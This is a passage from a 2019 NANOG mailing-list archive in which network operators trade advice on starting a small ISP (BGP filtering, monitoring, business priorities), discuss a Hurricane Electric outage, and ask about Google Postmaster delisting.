routes. Don't rely on redistribute connected to advertise what's configured on an ethernet interface. You probably shouldn't be using redistribute at all unless you "know what you're doing" with it. 2) Don't advertise your v4 IP space as a collection of /24s if you have a larger aggregate block, unless you have good reason to do so...and if you do, you should probably still advertise the aggregate unless there's a good reason not to. 3) Don't advertise one transit provider's routes to another. Each should be filtering your routes, but you never know. Come up with, and use BGP communities to control route propagation. As you grow, it sucks having to update prefix-list filters in multiple places every time something changes...like a new customer with their own IPs. ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From swmike at swm.pp.se Mon Jun 3 14:19:06 2019 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Mon, 3 Jun 2019 16:19:06 +0200 (CEST) Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On Mon, 3 Jun 2019, Mehmet Akcin wrote: > I am putting together a public DOs and DONTs blog post and would love to > hear from those who have built ISPs and have recommendations from > Billing to Interconnection, Routing policy to Out of the band & console > setup, Software recommendations, etc. Bottom line is that I would like > to publish a checklist with these recommendations which I hope will be > useful for all. The "ISP Essentials" publication is still valid in a lot of cases. It might not cover everything but gets a lot of the basics right. ftp://ftp.securecomp.net/EBook/Cisco%AE%20ISP%20Essentials.pdf -- Mikael Abrahamsson email: swmike at swm.pp.se From mehmet at akcin.net Mon Jun 3 14:35:49 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Mon, 3 Jun 2019 07:35:49 -0700 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: https://startyourownisp.com/ this is also pretty good, just thought i would share.. On Mon, Jun 3, 2019 at 7:19 AM Mikael Abrahamsson wrote: > On Mon, 3 Jun 2019, Mehmet Akcin wrote: > > > I am putting together a public DOs and DONTs blog post and would love to > > hear from those who have built ISPs and have recommendations from > > Billing to Interconnection, Routing policy to Out of the band & console > > setup, Software recommendations, etc. Bottom line is that I would like > > to publish a checklist with these recommendations which I hope will be > > useful for all. > > The "ISP Essentials" publication is still valid in a lot of cases. It > might not cover everything but gets a lot of the basics right. > > ftp://ftp.securecomp.net/EBook/Cisco%AE%20ISP%20Essentials.pdf > > -- > Mikael Abrahamsson email: swmike at swm.pp.se > -------------- next part -------------- An HTML attachment was scrubbed... URL: From ddeutsch at televergence.com Mon Jun 3 12:41:21 2019 From: ddeutsch at televergence.com (David Deutsch) Date: Mon, 3 Jun 2019 08:41:21 -0400 Subject: HE.NET Contact / Outage Message-ID: Hi Everyone, We experienced a pretty bad HE.NET outage on Friday, May 31st where fiber/BGP were up on our side out of LAX and our route advertisements where forwarded to public ASs; however packets stalled midway in the HE network. Urgent calls to their NOC escalating in the morning fell on death ears, with replies like "Senior techs aren't available until later in the day". Can anyone on the list from HE reach out to me directly on the issue Sincerely, David Deutsch Televergence CTO 646-502-4010 -------------- next part -------------- An HTML attachment was scrubbed... URL: From fkittred at gwi.net Mon Jun 3 13:41:48 2019 From: fkittred at gwi.net (Fletcher Kittredge) Date: Mon, 3 Jun 2019 09:41:48 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: Here is your checklist in descending order of importance: 1. market opportunity 2. finding the right partners (see below) 3. financial 4. sales and marketing 5. organizational capacity and HR 6. legal, regulatory 7. capital acquisition 8. security 9. ... 10. ... 11. ... 12. technical including equipment selection, routing policy, filtering, etc It is a stone cold lock that the success of your new ISP will governed by factors other than technical. Your most important task is to find competent financial and marketing people you can respect and trust. If the market opportunity exists and you find them, you will succeed. If you don't, all the technical excellence in the world won't help you. The road is littered with technically excellent companies that failed. On Mon, Jun 3, 2019 at 8:05 AM Mehmet Akcin wrote: > hi there, > > I know there are folks from lots of small ISPs here and I wanted to > check-in on asking few advice points as I am involved building an ISP from > green-field. > > Usually, it's pretty straight forward to cover high-level important > things, filters, routing policies, etc.but we all know the devil is in the > details. > > I am putting together a public DOs and DONTs blog post and would love to > hear from those who have built ISPs and have recommendations from Billing > to Interconnection, Routing policy to Out of the band & console setup, > Software recommendations, etc. Bottom line is that I would like to publish > a checklist with these recommendations which I hope will be useful for all. > > thanks in advance for your help and recommendation. > > Mehmet > > > -- Fletcher Kittredge GWI 207-602-1134 www.gwi.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Mon Jun 3 17:45:19 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 3 Jun 2019 13:45:19 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <20190603174519.GB30035@puck.nether.net> On Mon, Jun 03, 2019 at 01:48:33PM +0000, Mel Beckman wrote: > I’m constantly amazed at the number of even medium-sized ISPs that have no network monitoring. An NMS should go in as the first software component — before billing starts and the provider is on the hook to deliver. often people are using tools like quickbooks to start, these don't support integration with networking tools. You see tools like Sonar or powercode in use. Some of this is changing with newer tools like UNMS and UCRM in some spaces, but often these are vendor locked or don't integrate well. > The second lacking component is a ticket system, which is silly because turnkey cloud services are not expensive, and open source solutions abound for budget-limited operators. The number of people who can't do sysadmin functions is high. there's a reason SaaS is a thing, but the costs are often enough to force someone to roll their own. Take something like powercode with a $1/subscriber fee which adds up quickly. > The third component failure is security, including weak and default (!) passwords, failure to use real certificates, and the complete lack of 2FA or MFA. Security also requires data surveillance, in the form of net flow analysis. Much of this is because hardware has defaults that aren't sane or lack some ZTP or provisioning that you can do. How do you do this with UBNT, Tik or other cost optimized hardware? > The “two guys and a router” business model must be upgraded with more planning and a cohesive operating plan. Most large networks are run with small teams, while usually more than 2 it's often not more than 10 to do the arch + eng work necessary. If you have more, they're often doing installer work not actual eng work. - Jared > > On Jun 3, 2019, at 5:05 AM, Mehmet Akcin wrote: > > > > hi there, > > > > I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. > > > > Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. > > > > I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. > > > > thanks in advance for your help and recommendation. > > > > Mehmet > > > > -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From jared at compuwizz.net Mon Jun 3 18:09:53 2019 From: jared at compuwizz.net (Jared Geiger) Date: Mon, 3 Jun 2019 11:09:53 -0700 Subject: HE.NET Contact / Outage In-Reply-To: References: Message-ID: We had a similar issue at 5AM Pacific time in Ashburn VA. They blamed it on a software bug and disabled that feature. We had another outage at the same time a week before also. They blamed it on a route table corruption that time. On Mon, Jun 3, 2019 at 10:06 AM David Deutsch wrote: > Hi Everyone, > > We experienced a pretty bad HE.NET outage on Friday, May > 31st where fiber/BGP were up on our side out of LAX and our route > advertisements where forwarded to public ASs; however packets stalled > midway in the HE network. > > Urgent calls to their NOC escalating in the morning fell on death ears, > with replies like "Senior techs aren't available until later in the day". > > Can anyone on the list from HE reach out to me directly on the issue > > Sincerely, > David Deutsch > Televergence CTO > 646-502-4010 > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Mon Jun 3 18:16:27 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 3 Jun 2019 14:16:27 -0400 Subject: HE.NET Contact / Outage In-Reply-To: References: Message-ID: We had an issue in NY as well and they blamed a router in ASH as well. Our solution was to route away. On Mon, Jun 3, 2019 at 2:11 PM Jared Geiger wrote: > We had a similar issue at 5AM Pacific time in Ashburn VA. They blamed it > on a software bug and disabled that feature. > > We had another outage at the same time a week before also. They blamed it > on a route table corruption that time. > > On Mon, Jun 3, 2019 at 10:06 AM David Deutsch > wrote: > >> Hi Everyone, >> >> We experienced a pretty bad HE.NET outage on Friday, >> May 31st where fiber/BGP were up on our side out of LAX and our route >> advertisements where forwarded to public ASs; however packets stalled >> midway in the HE network. >> >> Urgent calls to their NOC escalating in the morning fell on death ears, >> with replies like "Senior techs aren't available until later in the day". >> >> Can anyone on the list from HE reach out to me directly on the issue >> >> Sincerely, >> David Deutsch >> Televergence CTO >> 646-502-4010 >> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From warren at kumari.net Mon Jun 3 18:39:56 2019 From: warren at kumari.net (Warren Kumari) Date: Mon, 3 Jun 2019 18:39:56 +0000 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On Mon, Jun 3, 2019 at 1:09 PM Fletcher Kittredge wrote: > > > Here is your checklist in descending order of importance: > > market opportunity > finding the right partners (see below) > financial > sales and marketing > organizational capacity and HR > legal, regulatory > capital acquisition > security > ... > ... > ... > technical including equipment selection, routing policy, filtering, etc > > It is a stone cold lock that the success of your new ISP will governed by factors other than technical. Your most important task is to find competent financial and marketing people you can respect and trust. If the market opportunity exists and you find them, you will succeed. If you don't, all the technical excellence in the world won't help you. The road is littered with technically excellent companies that failed. Indeed, but you *also* need to have some technical clue. Two or three years ago a friend and I tried to start a local wireless ISP -- I was doing this purely as a "My home Internet access sucks, and I'll happily donate time, equipment, IP space and some startup capital to fix this" play -- unfortunately it turns out that he and I had very different ideas on, well, basically everything. I wanted an actual architecture / design, and diagrams and routin' and such. He was much more of "We don't need a list of IPs, if I ping it and can't reach it it must be free" / "routing is too hard, let's just put it all in a switch and... um... NAT!". I wanted a plan, and was willing to put in the time and effort to build Ansible / Puppet / an NMS / AAA, etc, he was more seat-of-the-pants. But yes, even if we had good technology this would have failed - there was no real business plan (other than "The current provider is really bad, if we build something else, people will be breaking down the door to sign up"), no real marketing plan (see previous), etc. He was also a bit of a gun nut, and so would arrive at customers with a (holstered) firearm belted on -- even in Virginia this was not a winning business move. Starting a successful ISP is this day and age is hard - make sure that, if you do it, you and whoever you are doing this with are compatible, are both committed, and have similar views on things... W > > > > On Mon, Jun 3, 2019 at 8:05 AM Mehmet Akcin wrote: >> >> hi there, >> >> I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. >> >> Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. >> >> I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. >> >> thanks in advance for your help and recommendation. >> >> Mehmet >> >> > > > -- > Fletcher Kittredge > GWI > 207-602-1134 > www.gwi.net -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From lists at mtin.net Mon Jun 3 18:19:14 2019 From: lists at mtin.net (Justin Wilson) Date: Mon, 3 Jun 2019 14:19:14 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <031530C2-FEB3-4A2F-9C35-BFF1D1D05E6A@mtin.net> We have a fledgling web-site with information at http://startawisp.info/ Justin Wilson j2sw at mtin.net https://j2sw.com https://blog.j2sw.com > On Jun 3, 2019, at 10:35 AM, Mehmet Akcin wrote: > > https://startyourownisp.com/ this is also pretty good, just thought i would share.. > > On Mon, Jun 3, 2019 at 7:19 AM Mikael Abrahamsson > wrote: > On Mon, 3 Jun 2019, Mehmet Akcin wrote: > > > I am putting together a public DOs and DONTs blog post and would love to > > hear from those who have built ISPs and have recommendations from > > Billing to Interconnection, Routing policy to Out of the band & console > > setup, Software recommendations, etc. Bottom line is that I would like > > to publish a checklist with these recommendations which I hope will be > > useful for all. > > The "ISP Essentials" publication is still valid in a lot of cases. It > might not cover everything but gets a lot of the basics right. > > ftp://ftp.securecomp.net/EBook/Cisco%AE%20ISP%20Essentials.pdf > > -- > Mikael Abrahamsson email: swmike at swm.pp.se -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at mtin.net Mon Jun 3 18:23:19 2019 From: lists at mtin.net (Justin Wilson) Date: Mon, 3 Jun 2019 14:23:19 -0400 Subject: Google Post Master experiences Message-ID: <9707E18C-E3BD-48DF-93C7-211713FE6A2A@mtin.net> Folks, I had a domain get blacklisted from too much spam on April 22nd of this year. Long story short my mom clicked on something she shouldn’t have and compromised her e-mail. Spam was stopped within a day of noticing. Since then I have implemented Domain Keys, feedback loop, DMARC, etc. The stats on postmaster tools are not available after April 29th. What has been your experiences with Google Postmaster? Does it take over 30 days to get de-listed? Justin Wilson j2sw at mtin.net www.mtin.net www.midwest-ix.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From rsk at gsp.org Mon Jun 3 19:01:46 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Mon, 3 Jun 2019 15:01:46 -0400 Subject: Google Post Master experiences In-Reply-To: <9707E18C-E3BD-48DF-93C7-211713FE6A2A@mtin.net> References: <9707E18C-E3BD-48DF-93C7-211713FE6A2A@mtin.net> Message-ID: <20190603190145.GA22838@gsp.org> This is probably best asked on the mailop list (where some Google personnel hang out): subscribe via mailop-request at mailop.org. ---rsk From fkittred at gwi.net Mon Jun 3 18:55:25 2019 From: fkittred at gwi.net (Fletcher Kittredge) Date: Mon, 3 Jun 2019 14:55:25 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: I would respectfully point out that my point about the importance of finding the right partners. For you, sounds like it was good to have opportunity to get out of this venture. On Mon, Jun 3, 2019 at 2:40 PM Warren Kumari wrote: > On Mon, Jun 3, 2019 at 1:09 PM Fletcher Kittredge > wrote: > > > > > > Here is your checklist in descending order of importance: > > > > market opportunity > > finding the right partners (see below) > > financial > > sales and marketing > > organizational capacity and HR > > legal, regulatory > > capital acquisition > > security > > ... > > ... > > ... > > technical including equipment selection, routing policy, filtering, etc > > > > It is a stone cold lock that the success of your new ISP will governed > by factors other than technical. Your most important task is to find > competent financial and marketing people you can respect and trust. If the > market opportunity exists and you find them, you will succeed. If you > don't, all the technical excellence in the world won't help you. The road > is littered with technically excellent companies that failed. > > Indeed, but you *also* need to have some technical clue. Two or three > years ago a friend and I tried to start a local wireless ISP -- I was > doing this purely as a "My home Internet access sucks, and I'll > happily donate time, equipment, IP space and some startup capital to > fix this" play -- unfortunately it turns out that he and I had very > different ideas on, well, basically everything. I wanted an actual > architecture / design, and diagrams and routin' and such. He was much > more of "We don't need a list of IPs, if I ping it and can't reach it > it must be free" / "routing is too hard, let's just put it all in a > switch and... um... NAT!". I wanted a plan, and was willing to put in > the time and effort to build Ansible / Puppet / an NMS / AAA, etc, he > was more seat-of-the-pants. > > But yes, even if we had good technology this would have failed - there > was no real business plan (other than "The current provider is really > bad, if we build something else, people will be breaking down the door > to sign up"), no real marketing plan (see previous), etc. > > He was also a bit of a gun nut, and so would arrive at customers with > a (holstered) firearm belted on -- even in Virginia this was not a > winning business move. > > Starting a successful ISP is this day and age is hard - make sure > that, if you do it, you and whoever you are doing this with are > compatible, are both committed, and have similar views on things... > > W > > > > > > > > > > On Mon, Jun 3, 2019 at 8:05 AM Mehmet Akcin wrote: > >> > >> hi there, > >> > >> I know there are folks from lots of small ISPs here and I wanted to > check-in on asking few advice points as I am involved building an ISP from > green-field. > >> > >> Usually, it's pretty straight forward to cover high-level important > things, filters, routing policies, etc.but we all know the devil is in the > details. > >> > >> I am putting together a public DOs and DONTs blog post and would love > to hear from those who have built ISPs and have recommendations from > Billing to Interconnection, Routing policy to Out of the band & console > setup, Software recommendations, etc. Bottom line is that I would like to > publish a checklist with these recommendations which I hope will be useful > for all. > >> > >> thanks in advance for your help and recommendation. > >> > >> Mehmet > >> > >> > > > > > > -- > > Fletcher Kittredge > > GWI > > 207-602-1134 > > www.gwi.net > > > > -- > I don't think the execution is relevant when it was obviously a bad > idea in the first place. > This is like putting rabid weasels in your pants, and later expressing > regret at having chosen those particular rabid weasels and that pair > of pants. > ---maf > -- Fletcher Kittredge GWI 207-602-1134 www.gwi.net -------------- next part -------------- An HTML attachment was scrubbed... URL: From warren at kumari.net Mon Jun 3 19:12:01 2019 From: warren at kumari.net (Warren Kumari) Date: Mon, 3 Jun 2019 19:12:01 +0000 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On Mon, Jun 3, 2019 at 2:55 PM Fletcher Kittredge wrote: > > > I would respectfully point out that my point about the importance of finding the right partners. For you, sounds like it was good to have opportunity to get out of this venture. Oh, goodness yes -- however, I *still* have barely working Internet access at that location (it's basically a weekend home) -- I've somewhat started down the Jared Mauch "buy used vibratory plow, trench (house is off a dirt road, neighbors won't have an issue with right of way if I provide them free bits!), install fiber" path. My driveway is @1/4 mile, the dirt road is 0.6 miles and at the end of the road there is (what used to be) Quest fiber. Unfortunately the fiber was originally run for Mount Weather (https://en.wikipedia.org/wiki/Mount_Weather_Emergency_Operations_Center) and no-one I've asked seems to know who controls it now, and or swears that it doesn't exist (although the local Miss Utility / VA811 will come mark it if you call). Some dark nights, when trying to use the network while everyone is using NetFlix, and the RTT for my SSH sessions starts exceeding 1,500ms I strongly consider walking to the end of the road with a nice, sharp shovel, and then talking to the splicers when they come repair the damage :-) W > > On Mon, Jun 3, 2019 at 2:40 PM Warren Kumari wrote: >> >> On Mon, Jun 3, 2019 at 1:09 PM Fletcher Kittredge wrote: >> > >> > >> > Here is your checklist in descending order of importance: >> > >> > market opportunity >> > finding the right partners (see below) >> > financial >> > sales and marketing >> > organizational capacity and HR >> > legal, regulatory >> > capital acquisition >> > security >> > ... >> > ... >> > ... >> > technical including equipment selection, routing policy, filtering, etc >> > >> > It is a stone cold lock that the success of your new ISP will governed by factors other than technical. Your most important task is to find competent financial and marketing people you can respect and trust. If the market opportunity exists and you find them, you will succeed. If you don't, all the technical excellence in the world won't help you. The road is littered with technically excellent companies that failed. >> >> Indeed, but you *also* need to have some technical clue. Two or three >> years ago a friend and I tried to start a local wireless ISP -- I was >> doing this purely as a "My home Internet access sucks, and I'll >> happily donate time, equipment, IP space and some startup capital to >> fix this" play -- unfortunately it turns out that he and I had very >> different ideas on, well, basically everything. I wanted an actual >> architecture / design, and diagrams and routin' and such. He was much >> more of "We don't need a list of IPs, if I ping it and can't reach it >> it must be free" / "routing is too hard, let's just put it all in a >> switch and... um... NAT!". I wanted a plan, and was willing to put in >> the time and effort to build Ansible / Puppet / an NMS / AAA, etc, he >> was more seat-of-the-pants. >> >> But yes, even if we had good technology this would have failed - there >> was no real business plan (other than "The current provider is really >> bad, if we build something else, people will be breaking down the door >> to sign up"), no real marketing plan (see previous), etc. >> >> He was also a bit of a gun nut, and so would arrive at customers with >> a (holstered) firearm belted on -- even in Virginia this was not a >> winning business move. >> >> Starting a successful ISP is this day and age is hard - make sure >> that, if you do it, you and whoever you are doing this with are >> compatible, are both committed, and have similar views on things... >> >> W >> >> >> > >> > >> > >> > On Mon, Jun 3, 2019 at 8:05 AM Mehmet Akcin wrote: >> >> >> >> hi there, >> >> >> >> I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. >> >> >> >> Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. >> >> >> >> I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. >> >> >> >> thanks in advance for your help and recommendation. >> >> >> >> Mehmet >> >> >> >> >> > >> > >> > -- >> > Fletcher Kittredge >> > GWI >> > 207-602-1134 >> > www.gwi.net >> >> >> >> -- >> I don't think the execution is relevant when it was obviously a bad >> idea in the first place. >> This is like putting rabid weasels in your pants, and later expressing >> regret at having chosen those particular rabid weasels and that pair >> of pants. >> ---maf > > > > -- > Fletcher Kittredge > GWI > 207-602-1134 > www.gwi.net -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From tj at pcguys.us Mon Jun 3 21:21:04 2019 From: tj at pcguys.us (TJ Trout) Date: Mon, 3 Jun 2019 14:21:04 -0700 Subject: HE.NET Contact / Outage In-Reply-To: References: Message-ID: We use HE transit here in California from multiple pops for the last 7+ years and I can only think of one outage ever On Mon, Jun 3, 2019 at 11:16 AM Dovid Bender wrote: > We had an issue in NY as well and they blamed a router in ASH as well. Our > solution was to route away. > > > On Mon, Jun 3, 2019 at 2:11 PM Jared Geiger wrote: > >> We had a similar issue at 5AM Pacific time in Ashburn VA. They blamed it >> on a software bug and disabled that feature. >> >> We had another outage at the same time a week before also. They blamed it >> on a route table corruption that time. >> >> On Mon, Jun 3, 2019 at 10:06 AM David Deutsch >> wrote: >> >>> Hi Everyone, >>> >>> We experienced a pretty bad HE.NET outage on Friday, >>> May 31st where fiber/BGP were up on our side out of LAX and our route >>> advertisements where forwarded to public ASs; however packets stalled >>> midway in the HE network. >>> >>> Urgent calls to their NOC escalating in the morning fell on death ears, >>> with replies like "Senior techs aren't available until later in the day". >>> >>> Can anyone on the list from HE reach out to me directly on the issue >>> >>> Sincerely, >>> David Deutsch >>> Televergence CTO >>> 646-502-4010 >>> >>> -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at compuwizz.net Mon Jun 3 22:15:05 2019 From: jared at compuwizz.net (Jared Geiger) Date: Mon, 3 Jun 2019 15:15:05 -0700 Subject: HE.NET Contact / Outage In-Reply-To: References: Message-ID: We go through waves. Stable for months, then rocky for a month, then stable, then rocky. We buy full transit from them, so have contemplated switching to peering only to reduce the issues. On Mon, Jun 3, 2019 at 2:22 PM TJ Trout wrote: > We use HE transit here in California from multiple pops for the last 7+ > years and I can only think of one outage ever > > On Mon, Jun 3, 2019 at 11:16 AM Dovid Bender wrote: > >> We had an issue in NY as well and they blamed a router in ASH as well. >> Our solution was to route away. >> >> >> On Mon, Jun 3, 2019 at 2:11 PM Jared Geiger wrote: >> >>> We had a similar issue at 5AM Pacific time in Ashburn VA. They blamed it >>> on a software bug and disabled that feature. >>> >>> We had another outage at the same time a week before also. They blamed >>> it on a route table corruption that time. >>> >>> On Mon, Jun 3, 2019 at 10:06 AM David Deutsch >>> wrote: >>> >>>> Hi Everyone, >>>> >>>> We experienced a pretty bad HE.NET outage on Friday, >>>> May 31st where fiber/BGP were up on our side out of LAX and our route >>>> advertisements where forwarded to public ASs; however packets stalled >>>> midway in the HE network. >>>> >>>> Urgent calls to their NOC escalating in the morning fell on death ears, >>>> with replies like "Senior techs aren't available until later in the day". >>>> >>>> Can anyone on the list from HE reach out to me directly on the issue >>>> >>>> Sincerely, >>>> David Deutsch >>>> Televergence CTO >>>> 646-502-4010 >>>> >>>> -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists.nanog at monmotha.net Tue Jun 4 03:33:13 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Mon, 3 Jun 2019 23:33:13 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On 6/3/19 9:56 AM, Jon Lewis wrote: > 3) Don't advertise one transit provider's routes to another.  Each should >    be filtering your routes, but you never know.  Come up with, and use >    BGP communities to control route propagation.  As you grow, it sucks >    having to update prefix-list filters in multiple places every time >    something changes...like a new customer with their own IPs. To reiterate all this, FILTER EVERYTHING. To start with, explicitly specify in a route-map or similar everything you want to advertise. I usually create a separate route-map for each transit/peer and include what I want to advertise via prefix lists (for my IP space) and/or communities (for downstream BGP-speaking customers if anticipated). When you turn on the session, check what you're squawking AND WHAT YOU'RE FILTERING. You shouldn't be filtering anything you don't expect. Belt + suspenders. The same goes for anything you accept. Obviously for a blended full transit BGP edge router, you're probably going to accept almost everything. But if you only want default + on-net, try to filter using communities from the peer, etc. Again, right when you turn on the session, "sh ip bgp ... filtered" of whatever's equivalent on your platform. If you're filtering something you don't expect to be receiving at all, figure out where the misunderstanding or misconfiguration lies. And of course it goes without saying that, if you've got BGP speaking customers, you filter the heck out of them. Use ROAs and/or RPKI if you can to automatically generate filter lists. Encourage your upstreams to do the same if they're filtering you (and they probably are, or at least should be, if you're new). Remember that you are responsible for every route you advertise, at the end of the day, even if you only advertised it because a downstream network made a boo-boo and you didn't filter it. Filters are useful on your IGP, too, but there's so many ways to set all that up that it's a bit more difficult to come up with nearly universal best practices. Generally speaking, be careful with redistribution, never distribute BGP into IGP or vice versa unless you have a really, really good reason to, and consider filters between both IGP areas/regions or protocols (e.g. RIP coming into OSPF) as well as on redistributions of static/connected to prevent simple typos on a static route or interface configuration from taking down more than just local stuff. It's way, way easier to remove or relax filters later if they prove more of an operational hazard than asset than it is to add or tighten them if they prove insufficient. -- Brandon Martin From jared at puck.nether.net Tue Jun 4 09:31:31 2019 From: jared at puck.nether.net (Jared Mauch) Date: Tue, 4 Jun 2019 05:31:31 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <0055082C-DF1E-46A4-B2DD-B5115C26B105@puck.nether.net> > On Jun 3, 2019, at 3:12 PM, Warren Kumari wrote: > > On Mon, Jun 3, 2019 at 2:55 PM Fletcher Kittredge wrote: >> >> >> I would respectfully point out that my point about the importance of finding the right partners. For you, sounds like it was good to have opportunity to get out of this venture. > > > Oh, goodness yes -- however, I *still* have barely working Internet > access at that location (it's basically a weekend home) -- I've > somewhat started down the Jared Mauch "buy used vibratory plow, trench > (house is off a dirt road, neighbors won't have an issue with right of > way if I provide them free bits!), install fiber" path. My driveway is > @1/4 mile, the dirt road is 0.6 miles and at the end of the road there > is (what used to be) Quest fiber. Few tips: 1) Some incumbents don’t know their fiber, so sales reps don’t know how to quote it but a reseller can. This might be a good route. Then again I am having trouble with a firm right now so will be poking around at NANOG to solve my problem. 2) Don’t tell all my secrets yet. I also now own a directional drill and have a tariff on file with the state. (It wasn’t expensive once you find the right firm). 3) Fusion splicers and OTDRs are super cheap these days if you’re doing simple work. 4) Labor is always the expensive part. 5) More to come, maybe by the October NANOG I’ll be ready with my talk. - Jared From warren at kumari.net Tue Jun 4 12:56:08 2019 From: warren at kumari.net (Warren Kumari) Date: Tue, 4 Jun 2019 08:56:08 -0400 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On Mon, Jun 3, 2019 at 11:34 PM Brandon Martin wrote: > > On 6/3/19 9:56 AM, Jon Lewis wrote: > > 3) Don't advertise one transit provider's routes to another. Each should > > be filtering your routes, but you never know. Come up with, and use > > BGP communities to control route propagation. As you grow, it sucks > > having to update prefix-list filters in multiple places every time > > something changes...like a new customer with their own IPs. > > To reiterate all this, FILTER EVERYTHING. > > To start with, explicitly specify in a route-map or similar everything > you want to advertise. I usually create a separate route-map for each > transit/peer and include what I want to advertise via prefix lists (for > my IP space) and/or communities (for downstream BGP-speaking customers > if anticipated). I think a related *principle* is: "Build everything as though you are expecting to scale." This doesn't mean "spend lots of money to buy huge [routers|servers|commercial software|], but rather "when you plan your addressing structure and routing policies and monitoring and device config generation and... keep the in mind the question "If this suddenly takes off, and I hire N more people to run this, can I explain to them how it works? Do I have documentation I can point them at or is it stuck in my head / on the devices? If I need to add another M customers in the next month, can I do that easily?". This is related to the FILTER EVERYTHING -- when you turn up a new customer / peer / transit / whatever, you shouldn't be sitting around trying to figure out how you will write their route-map / policy-options -- this leads to weird one-offs, and quick hacks. Instead you should have policies already largely designed and simply plug in their prefixes (or, better yet, use bgpq3 or similar to build and populate these). Obviously there will be some cases where a new connection does require some special handling, but that *should* just be a plugin/chain in an existing policy-statement. Related to this is how you end up naming things -- I recently found 9 variants of firewall-filters which basically do: filter ACCEPT { term ACCEPT { then accept; } } named things like: ACCEPT, ACEPT, Accept, Allow, Permit_all, AcceptAll, dontdrop [0]. Obviously, there is a tension in the "design for scale" - while it would be great to design a complete automation system so that everything from installing a new customer to a new sites is simply typing 'make ' and having everything pull from a database, at some point you will need to actually build a network, or you'll never have customers :-) Just keep in mind that "Am I building myself into a corner here?". E.g it only takes 10 or 15 minutes to install something like NetBox to keep track of addresses (and prefixes and racks and connections and ...) -- stuffing this in a spreadsheet might save you a few minutes *now*, but will this scale? Can $new_person easily figure it out? W [0]: My personal favorite is: filter Accept_All { term Accept { then { count dropped; reject; } } term filter_ { from { prefix-list { ; } } then accept; } term NEXT { then log; } } Presumably this all made sense to when they stuck it in at 3AM to deal with some crazy issue, but... > > When you turn on the session, check what you're squawking AND WHAT > YOU'RE FILTERING. You shouldn't be filtering anything you don't expect. > Belt + suspenders. > > The same goes for anything you accept. Obviously for a blended full > transit BGP edge router, you're probably going to accept almost > everything. But if you only want default + on-net, try to filter using > communities from the peer, etc. Again, right when you turn on the > session, "sh ip bgp ... filtered" of whatever's equivalent on your > platform. If you're filtering something you don't expect to be > receiving at all, figure out where the misunderstanding or > misconfiguration lies. > > And of course it goes without saying that, if you've got BGP speaking > customers, you filter the heck out of them. Use ROAs and/or RPKI if you > can to automatically generate filter lists. Encourage your upstreams to > do the same if they're filtering you (and they probably are, or at least > should be, if you're new). Remember that you are responsible for every > route you advertise, at the end of the day, even if you only advertised > it because a downstream network made a boo-boo and you didn't filter it. > > Filters are useful on your IGP, too, but there's so many ways to set all > that up that it's a bit more difficult to come up with nearly universal > best practices. Generally speaking, be careful with redistribution, > never distribute BGP into IGP or vice versa unless you have a really, > really good reason to, and consider filters between both IGP > areas/regions or protocols (e.g. RIP coming into OSPF) as well as on > redistributions of static/connected to prevent simple typos on a static > route or interface configuration from taking down more than just local > stuff. > > It's way, way easier to remove or relax filters later if they prove more > of an operational hazard than asset than it is to add or tighten them if > they prove insufficient. > -- > Brandon Martin -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From mehmet at akcin.net Tue Jun 4 13:45:40 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Tue, 4 Jun 2019 06:45:40 -0700 Subject: DOs and DONTs for small ISP In-Reply-To: 